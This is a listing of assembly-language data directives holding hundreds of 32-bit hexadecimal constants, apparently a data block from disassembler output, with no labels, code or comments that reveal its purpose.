		dd 0CA00CC17h, 0B95E5C9Fh, 0FF758Fh, 0B620D24Bh, 0D0C6E92Bh
		dd 42FB0201h, 0DDBBD81Fh, 10B80FDBh, 77C082DCh,	0FC71A3Eh
		dd 0D4EBF100h, 0F6C8279Ah, 23830098h, 543D3C31h, 5D005E4Fh
		dd 9350ED37h, 6F0410h, 677F656Eh, 0EE418BA5h, 2CAC7B24h
		dd 0E766304h, 0E87888h,	0E64BCA59h, 75EC90F6h, 93037400h
		dd 0A4B85C69h, 0FB532415h, 709D00A5h, 0AD903C20h, 6B03EB1Fh
		dd 754B77DEh, 815480DBh, 1F8770D5h, 43B3D3AAh, 13E0248Ah
		dd 97503DA9h, 8001F458h, 0A91FED53h, 40813820h,	27179330h
		dd 2A00F6FDh, 0E248A2BBh, 553726FAh, 63C6019Ch,	80815C43h
		dd 8A04F6C0h, 5E0F8445h, 0AF2C0086h, 0BF1BBC91h, 0B307B09h
		dd 0E286001Ah, 0A934CAh, 5DC96AC6h, 2A64E382h, 52789000h
		dd 69629D27h, 6CE458BFh, 59F01605h, 0C118805Ch,	0D7A2EC99h
		dd 0CE771860h, 66BBF11Dh, 11923000h, 40AFCA46h,	6E59947Ah
		dd 0A3420014h, 0B7D4628Eh, 0B4BE0017h, 8F704D11h, 79002125h
		dd 0F5E6B1E7h, 0E8C5F1h, 0C03FC717h, 5FD522ECh,	8638293Bh
		dd 0E90D6C19h, 84F61EF8h, 93BD3BCBh, 0A0E45B80h, 0D48B0AC4h
		dd 1D2F4188h, 43F0DC90h, 4DA4139Ch, 36A2A9B0h, 0C6AF0C00h
		dd 0DD26742Dh, 0B5823C72h, 54FC5C80h, 0ED4C1EBBh, 7DFBE301h
		dd 0B2C2521h, 0C5729440h, 0B1443F2Dh, 0DFA4630Dh, 9940EA68h
		dd 0D3008237h, 3199DD22h, 2514B844h, 0F000B6D9h, 0DB83343Bh
		dd 3185200h, 0C64FB2D1h, 5D850126h, 0F662320Ch,	58EEE43Fh
		dd 0E8928B24h, 7EEF4D83h
		dd 0B52917Bh, 25A34C4h,	22EAEE57h, 0C0602DA9h, 0A01C7384h
		dd 9C073C65h, 0A7A053D4h, 62194F39h, 37C33076h,	4BEF2440h
		dd 0EBCC7816h, 0D04B016h, 0D6C0B13Fh, 7EF3E39Fh, 0CFF2B3h
		dd 333E13CEh, 2DF2C091h, 29A58700h, 81510267h, 8B9A017Fh
		dd 4914BEA7h, 0A85C30F0h, 1B8C3007h, 8884F291h,	8FDD3FC3h
		dd 0E88904D0h, 4EC4013Dh, 0A9E22A2Fh, 92430F9h,	92E30B00h
		dd 9E308C19h, 4CA1014Ah, 5CE85721h, 262CF0D7h, 0C9CB3Bh
		dd 23F318C3h, 78759A4h,	3F140FE7h, 7FE3B0F6h, 10091F1h
		dd 0C1E86EB8h, 0DEADD0h, 75D10665h, 0D378A21Dh,	0F7B1EA01h
		dd 24907408h, 3C65B5DCh, 0EC000995h, 0B2030B4Bh, 59002AC8h
		dd 0E519EE2Dh, 9AC1D9A6h, 20DF5B94h, 72B52704h,	960E58B8h
		dd 0FEA3BD0h, 193F2CFBh, 0EBA500EEh, 0F82EDC73h, 0E60552D9h
		dd 7E5E188h, 14EE8B0h, 124F8675h, 0E1A6E07Eh, 13386C24h
		dd 7401610Eh, 8F353CE1h, 127AD8h, 311A9914h, 0EF6B47DBh
		dd 7D61C3Ch, 77FBF4E3h,	0A956811h, 0CA00046Ch, 1A4B02E5h
		dd 52FC910h, 8A3800E0h,	1CAB5231h, 40A226D8h, 0CA682CEAh
		dd 351C895h, 2F02CC8h, 1DA533Fh, 6028E00Ah, 1F0B7611h
		dd 0C0FCA93Ah, 6BC49489h, 5937D647h, 7B30F09Bh,	7FD3E42Ah
		dd 0AEF04BAh, 0C85FB12Dh, 9D0041E8h, 605B624h, 0F22A129Eh
		dd 55BB031Ch, 60C302D9h, 0EE061CBh, 0F700D03Dh,	4B0C6AF5h
		dd 58100950h, 0DF0548D8h, 0E0D75D7Fh, 90001BACh, 0F06D5A44h
		dd 1C85311Ch, 3E0456A3h, 0F79E2B80h, 0F97260B2h, 0D662F613h
		dd 0DB83840h, 133429h, 0E0CD2607h, 27F23C9Eh, 0FAD2A612h
		dd 0FB1C6400h, 296CC19h, 0F56F5046h, 0A8E02E1Fh, 2412928Ch
		dd 4406DABh, 77D3671h, 96950105h, 0A047F7Ch, 9BF04094h
		dd 90182C70h, 8210CD3Bh, 0F0D10A5Ah, 8F842F6h, 0A2BED4A2h
		dd 0EE280362h, 1E795685h, 0C44A508Fh, 9C90D5AEh, 7C00D0FAh
		dd 692642AFh, 0F2B94Ch,	6B8D1EE4h, 7ADF7F19h, 461E3270h
		dd 0E6403B70h, 0B70CF608h, 385D001Ah, 378DDDD0h, 0A526C96Fh
		dd 0BB03B487h, 0A6210361h, 147F0719h, 80BD421Ah, 0EDD3A144h
		dd 2E054A00h, 0EFE6499Fh, 2BF300A6h, 8B931CD8h,	7300B53Bh
		dd 75BCFB28h, 3AFCB627h, 0CB003E03h, 0CDA760CAh, 0A4008A4Dh
		dd 0AC638C4Eh, 8D6AAEh,	0CA4C51C8h, 0F3B74525h,	0CE67EE01h
		dd 183656EBh, 4E1260h, 7B6B19F1h, 44F369C0h, 0FACCB00h
		dd 92358B75h, 1B5517C4h, 6450409Bh, 9949ECDFh, 4104B200h
		dd 27078B71h, 0A0E01CCEh, 34F900DAh, 42B10931h,	210045ECh
		dd 3624BBD4h, 77C518Eh,	396CA510h, 0FC295068h, 30B0069Fh
		dd 1A03260Fh, 2CEF606Dh, 94F8256h, 1FCEA2F2h, 6D936051h
		dd 0ED49A880h, 0B19C2F77h, 0D9164820h, 500F669Ah, 6FC0A8DBh
		dd 80578B41h, 9B6B398Ch, 0CFC40114h, 0CD21B7C7h, 0C0E8F168h
		dd 87FD0223h, 8EB85F11h, 654117D0h, 0D9B02Fh, 3AD126DFh
		dd 15EDA596h, 1915139h,	9EF64F57h, 31E4E8C0h, 2C49006Dh
		dd 88995C80h, 130071C4h, 589F164Fh, 2AEF1Fh, 815A578Dh
		dd 5188FD76h, 0F0C69C00h, 0E8B473B3h, 145E003Ch, 0A4815980h
		dd 0B80067CBh, 8D789F5Dh, 13632FEh, 5B0251ECh, 7CB3637Dh
		dd 0C61E0F0Ch, 0E0D64F94h, 0A26D6AE5h, 80504A7Dh, 0BEDB97C0h
		dd 108DD59h, 0E0F63FCh,	0D420A412h, 46CE0055h, 9F4CF638h
		dd 0A1007A18h, 44E797Dh, 3B51B8h, 0F3B2BE67h, 890FF4F8h
		dd 0E5CC7105h, 30D1ABA1h, 7AEC0CECh, 385812D1h,	0E0F8C02Dh
		dd 0A1DDFB4Dh, 0B2E70981h, 53D0DAE4h, 1E54BA54h, 64E5080h
		dd 10939DF9h, 0A5004078h, 5C13996h, 0B090F510h,	0F9D70E17h
		dd 38616D02h, 0D0FAC803h, 0EBE8CEB5h, 0DDFDC701h, 61598E5Fh
		dd 90794040h, 2EF701DFh, 0B2ADFF97h, 3C90A239h,	7E187A01h
		dd 85DF9877h, 5058D5DCh, 38AF2034h, 9683FB72h, 0BD73F794h
		dd 6EA8F6A3h, 3600A030h, 8BDAEEE3h, 0F561ACh, 7477F9Fh
		dd 66EA7C9h, 43780177h,	311E8B00h, 0D59239FEh, 7877003Ah
		dd 4C59AE51h, 60041C2h,	8255F15h, 7A0F87FDh, 67BE007Ah
		dd 6454B593h, 9700B16Ah, 0EB4D227Dh, 78BF68C5h,	32EF1CFFh
		dd 0C59F5CC0h, 0BDA05Dh, 0E7BD7A0h, 0E9DEEB11h,	7DF0042Bh
		dd 5C096D1h, 0B6A8DEh, 0CD6744ABh, 3E002A0Ah, 6F5EF8BCh
		dd 3C7CD135h, 1180AD24h, 7386F3AEh, 7500025Bh, 92170CA3h
		dd 27BF3Fh, 7A8FB7AAh, 63CC15DDh, 31195B00h, 0CFB94DACh
		dd 44110043h, 52E36442h, 2D00B2A7h, 668654B0h, 1FE0CEDh
		dd 0C8F496B7h, 0D0243755h, 9303CB72h, 5BB82F87h, 0F1EE983Fh
		dd 0D755005Dh, 0FB6D2383h, 0A1005F79h, 0A68EE754h, 0C77F069h
		dd 83508BA2h, 7E009B38h, 0B9165DBh, 0FDD245h, 0A41B5189h
		dd 0E9C7B9E1h, 0A6308A00h, 35BC9EC8h, 0EE9A07C3h, 0A0BDFDE4h
		dd 0DB44980Ah, 0E1FB5907h, 61A014C2h, 5CA4F725h, 5500F430h
		dd 0E0B6B3CDh, 4F3EC3A9h, 0B2470029h, 0F4FDE1FFh, 6CD0009Ah
		dd 5BDF4957h, 0C102BF01h, 0ABA42B10h, 0FC71C071h, 0E575EDh
		dd 0EC05ACD8h, 0BC160BE6h, 25557B00h, 8DEC5D4h,	89F844h
		dd 0DAEFB4F7h, 9430D47h, 2DD02A00h, 0E1FED74Fh,	15FF496h
		dd 0A1F6C84h, 60BECF82h, 530E92F8h, 40AC49E6h, 0D97E83A5h
		dd 9889008Bh, 0B685A770h, 5C0ACEA1h, 0C8C922EAh, 77D94A43h
		dd 47B30DF9h, 411105C8h, 409C1A71h, 24BAD0B0h, 0FA40DE00h
		dd 64D9EADBh, 4E5F1202h, 88344074h, 0A8BA35E0h,	1E0B9C05h
		dd 830030ABh, 2B74109Dh, 0C2CE00DCh, 0FBEDF678h, 5C396E04h
		dd 2909004Bh, 5477CA8Ch, 7E0C7D95h, 0D2DD0B85h,	8380A65Bh
		dd 80348EF7h, 920C88C0h, 12FAE08Ah, 41AE8CCFh, 67E9160h
		dd 0A99CF8C2h, 76C17064h, 0F8854680h, 0B0DE0389h, 580125C8h
		dd 208AD6F0h, 0B1AEB600h, 0F17D1436h, 64E600E5h, 0AA29BB2Eh
		dd 0E009946h, 895CE0F5h, 0F8928AD8h, 3CC0A079h,	0BED10054h
		dd 0FB462BD6h, 0EA48A560h, 5625264Ch, 0B61D09h,	9B50280Ch
		dd 0CD050076h, 6B90B0E2h, 0E328CC98h, 2622DC9Ch, 0EE54008Ah
		dd 2FC227B3h, 9E005937h, 0D19A4F80h, 0A6D393h, 6ABBE352h
		dd 0A17DA3B0h, 0E6375E00h, 0C5923D4Bh, 592D008Ch, 5FB26770h
		dd 5A0BEFEBh, 869606h, 10151902h, 0A8CC00DEh, 0A4AE23ECh
		dd 313AF9A1h, 7B7E802Fh, 9E4F2846h, 3DE11620h, 1EDA0B43h
		dd 87F914A0h, 1200CF64h, 0E546FCAh, 3B5876h, 6061FD49h
		dd 0FEF178F8h, 8B0F0B00h, 756D9BF5h, 0AE0717ABh, 7AC80FACh
		dd 91AD7300h, 27008042h, 655770F7h, 1CB3D4h, 7296837Dh
		dd 0A697BFB9h, 795FE402h, 0E0E1EDD9h, 76C8EBh, 6745FE75h
		dd 0AAB3BE03h, 526D5400h, 1F8FF011h, 0D40100C3h, 0ACD04CAEh
		dd 312F398h, 4C20645Fh,	334DFCAh, 0AD77CDB9h, 0BDF0DA1Bh
		dd 0A2099401h, 8F7F5Eh,	0E6293084h, 5A90D2h, 0AADBE0FBh
		dd 4118B90Eh, 0F220B700h, 42190AD8h, 7C571F7Fh,	0F01540B6h
		dd 39D01BCCh, 0C1058F01h, 0AE0A03AAh, 7A96F4h, 693B660Dh
		dd 2A9F495Bh, 9C6CB300h, 99AF06B7h, 52FE1DB8h, 0E3194BDDh
		dd 32F3A200h, 0CC00E2A3h, 61EA052Dh, 38363028h,	0E000AF59h
		dd 3254066Bh, 0ED00C06Ah, 0DE3B2B6Fh, 7B72BD94h, 0FA5B00F8h
		dd 0F68A1242h, 0B9001C4Dh, 0A19E9CB7h, 293843h,	0B4D73D0Dh
		dd 0C52E718Bh, 4C021704h, 10B07FACh, 0AA1D0752h, 6E3C9Ah
		dd 4F332AC8h, 232DFB00h
		dd 9EF763E2h, 0A2BB1C26h, 6AE70279h, 40573777h,	0BD4343h
		dd 0AD090775h, 8B31CA4Fh, 9900A976h, 0D9DF72B6h, 0F42D2C9Fh
		dd 0DC250083h, 8A3F1E44h, 0EA005649h, 721BCB1Dh, 0F969FFh
		dd 0DE29A201h, 0AA456A8Dh, 0CAEF2201h, 0BDED53C6h, 9F7420h
		dd 2565AD7Ah, 0C540158Bh, 2B0A3F01h, 0DDFE410Bh, 14164434h
		dd 0B4EFB608h, 9813AB03h, 91CD841Dh, 0F4B9EAB4h, 7B89B41h
		dd 48865C2Ch, 29A1180h,	18B5828h, 68726A08h, 0CC47D644h
		dd 9037B5Ch, 4B8CB5C6h,	0D174E883h, 0AE80087h, 33B8F579h
		dd 0FC00DF1Dh, 0C7596E36h, 3BB18915h, 0F507D487h, 0BBB4DECCh
		dd 7E351860h, 428DB8A8h, 651F5C0Eh, 0B4EE2AA8h,	52BA7107h
		dd 558323F0h, 0AEE712DBh, 0DC3811F7h, 8BF1507h,	0C1D76025h
		dd 8700CB8Fh, 9CDC8A5Dh, 0A786D8h, 73D1E78Bh, 942101B4h
		dd 0F5909679h, 6CE55303h, 0F960D8h, 0E1120650h,	88A7ED45h
		dd 82053900h, 0F8F2C0BEh, 7D680023h, 450109F3h,	6890E40Eh
		dd 32D33800h, 4E491BEEh, 0B96A00DEh, 0D981B8F1h, 2500AD19h
		dd 0E8C19DA6h, 1F5AB35Dh, 0C059B953h, 0F82F02F7h, 9800A2F5h
		dd 498C82C5h, 0D676B1h,	0D70D8416h, 40B0E7DFh, 6AF2CB00h
		dd 966BE1A0h, 6D080038h, 0C4C71CE2h, 500023DAh,	0F8147D9h
		dd 0A0D15DFFh, 27A7B9Fh, 2107DC6Ch, 0B4C22C2Bh,	80A98C80h
		dd 2D030238h, 9B1731BCh, 7520009Eh, 995745AFh, 4203E7F3h
		dd 5BFF3A2Eh, 0A38588E5h, 53BA0316h, 90650A48h,	372B72F8h
		dd 0BD8DF207h, 0F97260D9h, 7BA0804Eh, 283AE105h, 2EB0B63h
		dd 0E9F8D917h, 0C0DFC69Dh, 0E06ABA72h, 5D780E1Ah, 1C614404h
		dd 8F1713C4h, 0D6516858h, 0D55B2407h, 4277E760h, 3761004Ch
		dd 0DB2ABDD0h, 0F074DF5h, 785A93D7h, 0A2873D90h, 0C4A403AFh
		dd 4258847Ch, 3653D190h, 6E000094h, 0A9DE0272h,	0A0A400B7h
		dd 60E9F9E6h, 4C1D3AB5h, 7040F42Bh, 0B8EA3D04h,	4F2700CCh
		dd 9010E2C6h, 5300C008h, 957E4ED3h, 0B0FCAD0Dh,	91F4AD9h
		dd 5A8278C0h, 0FC50BC2Eh, 0F4FA039h, 0B2B19F81h, 6058D491h
		dd 7B0FC829h, 7A60DFF8h, 0C980DCA8h, 49EF3500h,	0FD6DBC2Ch
		dd 0F239001Eh, 71A5A1CAh, 0FF3ACE85h, 13060052h, 9F242976h
		dd 67890075h, 755E8FDh,	53071AA6h, 8DDCD4C3h, 0E0796F80h
		dd 95DF3125h, 8720A638h, 6C1B0E20h, 140CD4CFh, 2C34CBF2h
		dd 610035EFh, 9B523C4Eh, 3A330106h, 9AC804CAh, 87D9F4ADh
		dd 383E2000h, 98A0BA8Eh, 5811D56h, 7D8047F0h, 55C38047h
		dd 0EB000CDCh, 0ADD610CCh, 42E02Ch, 98DD9268h, 0CB9CBE1Fh
		dd 0EE091413h, 72E95C03h, 31915899h, 0EB280100h, 6A355902h
		dd 0BF08612Eh, 0C93E5820h, 122F0157h, 0FDBDA25h, 0CA4188Dh
		dd 20981108h, 30D00751h, 0BDA15Fh, 0FF78E7B9h, 0A477C934h
		dd 86DA81Bh, 610AB831h,	89DD0019h, 0F46A3817h, 0D00FA90h
		dd 5707BB78h, 1E5E8875h, 60135Dh, 0FD35934Ch, 6D001B9Ah
		dd 87C8F4A7h, 6B3E406h,	7D52900Eh, 0DC00B19Eh, 4A2DD196h
		dd 9D3DBh, 0BAEDB5CEh, 4147B1E8h, 7406941Dh, 7AFA7BC3h
		dd 36E060FFh, 314EB61Ah, 48756Bh, 0B35A3F8Fh, 55E90103h
		dd 8AC0A13Ch, 4B04C840h, 0E6A89961h, 26C8304Eh,	5BD01DEh
		dd 90F2F72Eh, 77F051A4h, 9915FF1Eh, 98AF3Ah, 0DA188E88h
		dd 781BE335h, 0FF370377h, 4D4E75C3h, 2418138h, 0A51028FCh
		dd 0FBB49305h, 7210002h, 79F3C887h, 3B1EACA5h, 94C0337Dh
		dd 0DBD21C14h, 0E6C006Bh, 0F8E6751Dh, 0E5EEBD12h, 0B300C598h
		dd 488A06C1h, 98731CCCh, 41CE0055h, 49D48372h, 780F1879h
		dd 603E8A9Ch, 33EE7517h, 0E61000ECh, 6C7265CCh,	0A7003819h
		dd 0C0DA4CC4h, 0C0733D3Fh, 674F4281h, 550CD16Ch, 1896937Eh
		dd 0B5070E2Eh, 3060FFD3h, 8CDA1334h, 7112C600h,	38DB84CDh
		dd 59850680h, 9ADEEE72h, 145D070Fh, 3EEF3C6h, 0F08855B2h
		dd 33F145A0h, 3EA21700h, 5DD3B11Fh, 12EE7EB6h, 5E65E5h
		dd 0BFD2227Ah, 7100DC57h, 5C2DB290h, 0C6EADEDAh, 31E26118h
		dd 28FD9600h, 0E1A12265h, 0D6EF2E4h, 0EF4CD856h, 0BF27E020h
		dd 0D3EE08C0h, 717414E4h, 41FB00C4h, 0D21E52A9h, 600ADA0h
		dd 37B296A8h, 9044D7h, 0CCB71191h, 416D8BA5h, 83FA8E00h
		dd 56FD972Ah, 0BAEE2C64h, 0DEE6008Fh, 0D72EA831h, 1D8A2901h
		dd 0AFDFC1E2h, 76DDA181h, 4049FDBFh, 0E61A6C58h, 0E0090D3h
		dd 0E2BC6779h, 38B91FE0h, 0EF287274h, 71B5ECE0h, 9DD2BE00h
		dd 0D188B111h, 1E27000Ah, 45968C73h, 6200B001h,	0C9CC1C0Dh
		dd 1D52AF18h, 0EF05A75h, 512C6BB6h, 5B50AC50h, 9100F640h
		dd 43FC164Dh, 1E1888CBh, 0FD72CF9Fh, 0C96728h, 3FECDC51h
		dd 6F854C0h, 30C8139h, 97691573h, 0FE0831FBh, 0F8035721h
		dd 0C40028D1h, 0D32FCF9Ah, 398672Ch, 97463B7Bh,	0ADA07D87h
		dd 6600E2DAh, 0D40B115h, 4993F1Ah, 235927E7h, 87720467h
		dd 86185819h, 0CE63BF20h, 30257350h, 3E20983Bh,	28304754h
		dd 0C2029C1h, 9B0601DBh, 413BCE10h, 0FD08982Bh,	0E640121h
		dd 906C20DAh, 2F6DBF80h, 65CC28Ah, 1D240101h, 2CCD0FF9h
		dd 0DB7A8051h, 8108190Ch, 0C46B805Fh, 24E401Dh,	0B56C81h
		dd 1959A887h, 0FD5E9724h, 0FA2A4800h, 3BE60CD8h, 38DB886h
		dd 4B0A12DDh, 0B4C06F40h, 0FC055E70h, 0E6D783F6h, 9A45C0BBh
		dd 0E8005802h, 0D275F763h, 6A8430h, 3BAB908Eh, 766F9D7Eh
		dd 0FFC5AC05h, 7980165Fh, 773FA0h, 9F74B698h, 6FC8B3D8h
		dd 507F2200h, 0EE1A950Bh, 20E30088h, 0D7BF114Bh, 0F57BE48Ah
		dd 6E1C3D0Ch, 600608A7h, 0ADAE2021h, 7401CC8Ah,	7082C013h
		dd 0DFF041C2h, 0FB222720h, 0AA00E070h, 6EA4A9FDh, 1847CF31h
		dd 0F899F60Bh, 0D106F286h, 4BC27E14h, 0E2AB0039h, 0E8C4D723h
		dd 0CA33F4BAh, 5708D0h,	22AB1E21h, 725EE0D9h, 41F3F600h
		dd 0A84B2C5Bh, 60B960B4h, 979C596Ch, 457809F6h,	493EACF4h
		dd 0C2621411h, 20F230B2h, 3046873Ch, 88F1DF0Bh,	0F600E061h
		dd 25310649h, 194A66D9h, 0A1F515AFh, 0C451C0C0h, 3C0E8703h
		dd 18FE9FD9h, 204AEC08h, 2B8017DEh, 0CA9400C3h,	99FD9022h
		dd 0F330EBD8h, 0BF746986h, 0BB2B000Bh, 973D776Dh, 0B90A76B2h
		dd 0C446A6D9h, 0AB801291h, 8EF5708Ah, 0EA301E43h, 8A829A21h
		dd 0C2A3Eh, 0F1C414B0h,	0CDE575Dh, 0C9ABD221h, 2D00AA10h
		dd 0B9AD6EFDh, 7DBAC6Ah, 0A051749h, 62810FEh, 0DA00FBE5h
		dd 746B6D2Dh, 0A91C59h,	2421DB93h, 19E72BDDh, 99002FFEh
		dd 0F9E06957h, 262364F3h, 933444h, 4FD563C8h, 0F6013303h
		dd 21A65C39h, 90F369EBh, 5C367058h, 0DF04485Dh,	0C5B50647h
		dd 6BBD00FEh, 0E720C6CEh, 38DC739h, 0F33E942Bh,	0CD3CE09Dh
		dd 6DF0A3h, 7378AF53h, 8246BD1h, 4A55478h, 33D5C055h, 8A00F93Dh
		dd 6F4F5F78h, 75D351C7h, 212800C4h, 2BF3A0C6h, 3C0F6A8Ah
		dd 6C7420h, 84A373C9h, 62993EF8h, 88FB13h, 638017CBh, 9401FAF3h
		dd 8A225766h, 9ED05F4Eh, 3533A60h, 2D517901h, 0F03CC2E2h
		dd 420F778Bh, 24C82FCh,	0C05D8501h, 52C08139h, 1BF06468h
		dd 9C7C215Bh, 0CFD96000h, 98050923h, 0E2753D8Dh, 0F800B7BEh
		dd 26731B6Dh, 623E1972h, 28C47D2Fh, 0FE5DAE74h,	1544E744h
		dd 50234416h, 65E42284h, 0BB11DB42h, 3CAC2822h,	0F92CB110h
		dd 19148F11h, 0C8A1CACDh, 64892841h, 4416D417h,	0E4481FFCh
		dd 217AEB43h, 99081729h, 28C0941Eh, 42505728h, 0F43D08CBh
		dd 0AF1C0820h, 29F02C8Ch, 0D37847Fh, 4FD8511Dh,	5390F7C8h
		dd 291CB186h, 0DED444h,	0FF5E8348h, 7A089490h, 40285400h
		dd 8F3A0BC1h, 6B5A0012h, 787DAFF6h, 8000C23h, 9E5EB306h
		dd 705F19h, 7980A8BAh, 0BBBC95DCh, 3B66181Fh, 250FF42Ch
		dd 6960FE5h, 0F892CD54h, 0F20001Ah, 0F636AF65h,	9800121Bh
		dd 75046CB7h, 522CBFh, 5D4B9203h, 0AC6D0E59h, 9FF5FA00h
		dd 51DED3D2h, 6E7F00F7h, 0A27106BDh, 0B00074C7h, 8BC2A988h
		dd 0B0AEFC46h, 0D80D2EABh, 33CD03DCh, 93E882F4h, 5003B802h
		dd 35192637h, 0C77F8086h, 143E00E1h, 0BE8913F1h, 3A070512h
		dd 86B1206Fh, 36B640E0h, 96DA00FCh, 4665956h, 6500324Dh
		dd 9423316Ah, 7D6160h, 0A4F58F52h, 8CDD679Ah, 0DFED8303h
		dd 0B8560BFDh, 0C2309757h, 0FBE94488h, 0E1810D05h, 0CBF4C8F5h
		dd 29BC011Ah, 0E9510A88h, 4A1DD4CAh, 57180EB8h,	0ECB65C44h
		dd 0CC54031Ah, 5993F3F2h, 1CB9211Dh, 25C039F4h,	6F7F44h
		dd 9EF2235Fh, 2D2C21D6h, 0F8F1CE00h, 80956796h,	4F3C0086h
		dd 84DEA9A7h, 14009A45h, 0AAFC5C4Bh, 0D4AEB062h, 0ED03CE10h
		dd 6FCF1E09h, 4785DFB8h, 49848700h, 69B6C3C6h, 0DA6400A1h
		dd 0DE7801C1h, 57009ACCh, 0DB073859h, 7F9809h, 0E8C556BFh
		dd 5FC33ADDh, 5E13C000h, 0E73D9D36h, 585530CFh,	0D0DEA420h
		dd 0AF9BAA00h, 630A739h, 6F6A0EBDh, 63A13198h, 0DCA64041h
		dd 8F005DDBh, 0F41D0C0Dh, 0C36DCCh, 3C94A970h, 0F3BD5581h
		dd 40364900h, 2F32E1B7h, 5B5A3CA6h, 0F881F10Fh,	71E7ACE0h
		dd 583D261Fh, 7E3380D6h, 0C9F9557Ch, 5A010022h,	0A13667FBh
		dd 25EE5DBh, 0AB011812h, 0BB90F656h, 9711D4h, 283CE4B8h
		dd 0A3BE1547h, 563FA2FAh, 0CC8C00EEh, 7B8BCC8h,	44293DDEh
		dd 0CD522D07h, 7394019Ah, 0CC3280DFh, 0F958D67h, 240A0079h
		dd 5B8581C8h, 0FC00E8E5h, 0D9ABA491h, 0EA309CE6h, 3C660052h
		dd 671D3AE0h, 0B91F9F2Dh, 0D4E0A11h, 7CBD83C7h,	0A297B029h
		dd 1EC473C6h, 0C01FC8ADh, 45D6C042h, 843BF28Ah,	20D5B755h
		dd 0EF045C60h, 0F9701Eh, 794D0B82h, 0CABF7825h,	0E4467D12h
		dd 20A39C0Eh, 2E5CADDEh, 4BB00F7h, 931FF845h, 6E0062E9h
		dd 95FB3D7Fh, 0EE17518h, 11D298F5h, 0FD1E6F62h,	375A2848h
		dd 3EFA7200h, 7D8C38C0h, 271C00A0h, 0B3F261EFh,	46126D41h
		dd 6C0044EBh, 4977E90Ah, 702EA72h, 240B9701h, 4D8CE07Fh
		dd 0D43C7E88h, 9F5D8030h, 0D8A66C5Ah, 3308001Eh, 956853D5h
		dd 0FC0103E5h, 79A26744h, 32D5C9BCh, 0B8A7F0h, 8F43117Bh
		dd 0E03FCF89h, 7EBD83Dh, 2431F794h, 8D7860F0h, 29A90027h
		dd 0DBF1A301h, 0D100F817h, 0B240C252h, 0D63A7Ah, 4C45D4Eh
		dd 5A026769h, 0A26AC704h, 1C80F6AEh, 31F4CA3h, 92722708h
		dd 28883773h, 0F00D43Ah, 89649C38h, 0F4515Dh, 2D797AADh
		dd 509B8890h, 0E214EC00h, 28A5F04Dh, 0F6C1006Eh, 317FB0F5h
		dd 0A800A36Ah, 4CAF78FBh, 3F596434h, 0CB052DA7h, 1E4D1Bh
		dd 2AE2E0A0h, 530E85BDh, 2E070C99h, 8ECAE022h, 9A39464Bh
		dd 4CE0E140h, 7A9000B7h, 5B9C52D7h, 6001D4Fh, 76F514FDh
		dd 0EADD47h, 42D4F48Eh,	7033A77Ch, 69D2E301h, 0B85A9DC5h
		dd 133D82D8h, 19D78Bh, 0C22441CCh, 20923856h, 7A3A600h
		dd 3C9299Bh, 9839007Bh,	0BED423C8h, 0A11882E5h,	6068D6B3h
		dd 886D006Eh, 5228A230h, 0BF72C1FAh, 6A7D3A00h,	9BC35355h
		dd 0C6D40078h, 0F899A103h, 7C00026Ch, 431B76EBh, 0E332Ch
		dd 0E06E11B2h, 9EBAE572h, 3925100h, 3316C51Eh, 8F550F4Ch
		dd 2080297Eh, 1358CF27h, 0C7B18626h, 6839DF00h,	0FD1240h
		dd 0C9DA94F3h, 23841141h, 0B2FE7400h, 0E25AE10Dh, 8EA61E5Ch
		dd 5C667Eh, 0FF9769EDh,	50006331h, 62CA7816h, 7682486Ah
		dd 0A52E0080h, 4DAA35B8h, 4B0956Fh, 815E4102h, 4840EEFEh
		dd 0BA6C00h, 0C59A06B5h, 55CB3D69h, 9EBECF03h, 0A9E4F30Dh
		dd 27607C30h, 1C042489h, 0A75D0030h, 5F012C7Eh,	68227500h
		dd 0A802B8B6h, 0CC1007A3h, 8F1BD86Ch, 0BE5AEC0h, 7B24294Fh
		dd 0AA0FCC9Bh, 799180A9h, 91741A3h, 22204D90h, 7662F180h
		dd 4A12DAA0h, 4800245Dh, 2A1D8BEFh, 2098CEh, 5C82E13h
		dd 0FF7408C9h, 706B5405h, 0AC80C5D5h, 33A817h, 44427F7Ah
		dd 0BD1F49C0h, 24F9000h, 0B412FD78h, 5E8D4h, 0EFB32BCEh
		dd 0EB4264C4h, 69893300h, 72FCBDD1h, 82620F91h,	0C86656F7h
		dd 0DA027665h, 7CA555C0h, 77B86196h, 0C362FCh, 73803904h
		dd 94917D05h, 6A57CF00h, 35849845h, 932900B6h, 2E303FAFh
		dd 0EE022DDFh, 54F85BECh, 19C880ACh, 16B9A6h, 0CA56BA21h
		dd 2CF2A541h, 1D46DB0Bh, 77201080h, 0EBC41687h,	16000123h
		dd 0E0E144B9h, 9F506CDBh, 6405E786h, 232B9617h,	3980C800h
		dd 37B9C2h, 27591EFEh, 7EF9C9EDh, 4D058779h, 0C2FAB8F3h
		dd 58F70EC0h, 841B005Eh, 3998F1DFh, 2700014Fh, 6E22ED88h
		dd 0C4135C4h, 0D2C325FBh, 0E200D6FEh, 714C29E7h, 975198h
		dd 4192F45Ch, 90703A61h, 0C80E932Eh, 3995813Eh,	531933D2h
		dd 2689A870h, 384CDD6h,	0A693552Eh, 7C671C0h, 97BAA200h
		dd 5417B65Eh, 248576FDh, 0C76FA0h, 0E8E4CC3Eh, 0A500FB0Ch
		dd 0BCA75223h, 76F765h,	0D184ACC8h, 0E9913749h,	0E7A95300h
		dd 20B73DD9h, 0B642002Fh, 0FD9D2C8Bh, 5D1D300Ah, 47D6AB8Ch
		dd 4C7DFB00h, 0F7F0B6h,	8A0F76A3h, 52C6743Ah, 80478938h
		dd 4953EF3Dh, 0E832DF86h, 0BD8B1C93h, 0D1CC4783h, 9B1A2034h
		dd 1900A43Ch, 2C22EA7Bh, 16FBA48h, 7FEFF909h, 0F4C74B13h
		dd 5000DE59h, 73DBAB77h, 8365FEh, 5FFFAC8Ch, 0AEB393B0h
		dd 8D62EE00h, 0CD7A9846h, 92090090h, 6D908ADh, 0FC007839h
		dd 9B1D9C0Bh, 15DF03h, 0ADF57FC3h, 34EAA9D3h, 0E27AA00h
		dd 609A8D86h, 0AFA00067h, 0A1183B92h, 0FC01B62Bh, 44F5A8F2h
		dd 17C4F846h, 0C82D50A9h, 66FE03B0h, 86A709FDh,	2E2F2680h
		dd 0E0CC33Ch, 0F89B24B1h, 2B1710h, 712269D1h, 0CEA11189h
		dd 0DB773Dh, 72AE44Fh, 0F1394BC0h, 24C1CCh, 3BE2AF37h
		dd 0F7E03D9h, 8B8DA400h, 79E95F5Eh, 4FE52C4Bh, 719E036Ch
		dd 80D4342Ch, 212A6662h, 827A4A79h, 27D6CE00h, 0D7D1C714h
